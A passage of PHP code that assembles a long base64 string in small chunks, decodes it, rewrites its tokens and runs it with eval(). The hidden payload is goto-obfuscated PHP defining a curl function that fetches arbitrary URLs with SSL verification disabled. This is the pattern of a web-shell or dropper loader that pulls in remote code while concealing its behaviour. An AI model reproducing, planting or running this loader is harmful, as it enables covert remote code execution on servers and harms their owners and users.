$z .= "fSBn";
$z .= "b3Rv";
$z .= "IGYy";
$z .= "YUlC";
$z .= "OyBu";
$z .= "dExB";
$z .= "STog";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "bWFk";
$z .= "cmlk";
$z .= "KCR1";
$z .= "cmwp";
$z .= "IHsg";
$z .= "JGNo";
$z .= "ID0g";
$z .= "Y3Vy";
$z .= "bF9p";
$z .= "bml0";
$z .= "KCk7";
$z .= "IGN1";
$z .= "cmxf";
$z .= "c2V0";
$z .= "b3B0";
$z .= "KCRj";
$z .= "aCwg";
$z .= "Q1VS";
$z .= "TE9Q";
$z .= "VF9V";
$z .= "Ukws";
$z .= "ICR1";
$z .= "cmwp";
$z .= "OyBj";
$z .= "dXJs";
$z .= "X3Nl";
$z .= "dG9w";
$z .= "dCgk";
$z .= "Y2gs";
$z .= "IENV";
$z .= "UkxP";
$z .= "UFRf";
$z .= "UkVU";
$z .= "VVJO";
$z .= "VFJB";
$z .= "TlNG";
$z .= "RVIs";
$z .= "IHRy";
$z .= "dWUp";
$z .= "OyBj";
$z .= "dXJs";
$z .= "X3Nl";
$z .= "dG9w";
$z .= "dCgk";
$z .= "Y2gs";
$z .= "IENV";
$z .= "UkxP";
$z .= "UFRf";
$z .= "U1NM";
$z .= "X1ZF";
$z .= "UklG";
$z .= "WVBF";
$z .= "RVIs";
$z .= "IGZh";
$z .= "bHNl";
$z .= "KTsg";
$z .= "Y3Vy";
$z .= "bF9z";
$z .= "ZXRv";
$z .= "cHQo";
$z .= "JGNo";
$z .= "LCBD";
$z .= "VVJM";
$z .= "T1BU";
$z .= "X1NT";
$z .= "TF9W";
$z .= "RVJJ";
$z .= "RllI";
$z .= "T1NU";
$z .= "LCAw";
$z .= "KTsg";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCA9";
$z .= "IGN1";
$z .= "cmxf";
$z .= "ZXhl";
$z .= "Yygk";
$z .= "Y2gp";
$z .= "OyBj";
$z .= "dXJs";
$z .= "X2Ns";
$z .= "b3Nl";
$z .= "KCRj";
$z .= "aCk7";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "OyB9";
$z .= "IGdv";
$z .= "dG8g";
$z .= "d2x4";
$z .= "QXE7";
$z .= "IGN0";
$z .= "eFgz";
$z .= "OiA/";
$z .= "Pg==";
$fn = 'base64_decode';
$s1 = $fn($z);
if ($s1 === false) { throw new Exception('First base64 decode failed'); }
$tokens = token_get_all($s1);
$smartCode = '';
$inEcho = false;
foreach ($tokens as $t) {
if (is_array($t)) {
switch ($t[0]) {
case T_OPEN_TAG:
case T_CLOSE_TAG:
break;
case T_OPEN_TAG_WITH_ECHO:
$smartCode .= 'echo (';
$inEcho = true;
break;
case T_INLINE_HTML:
$smartCode .= 'echo ' . var_export($t[1], true) . ';';
break;
default:
$smartCode .= $t[1];
}
} else {
if ($inEcho && trim($t) === ';') {
$smartCode .= ');';
$inEcho = false;
} else {
$smartCode .= $t;
}
}
}
eval($smartCode);
} catch (\ParseError $e) {
echo "Syntax error: ".$e->getMessage();
} catch (\Throwable $e) {
echo "Runtime error: ".$e->getMessage();
}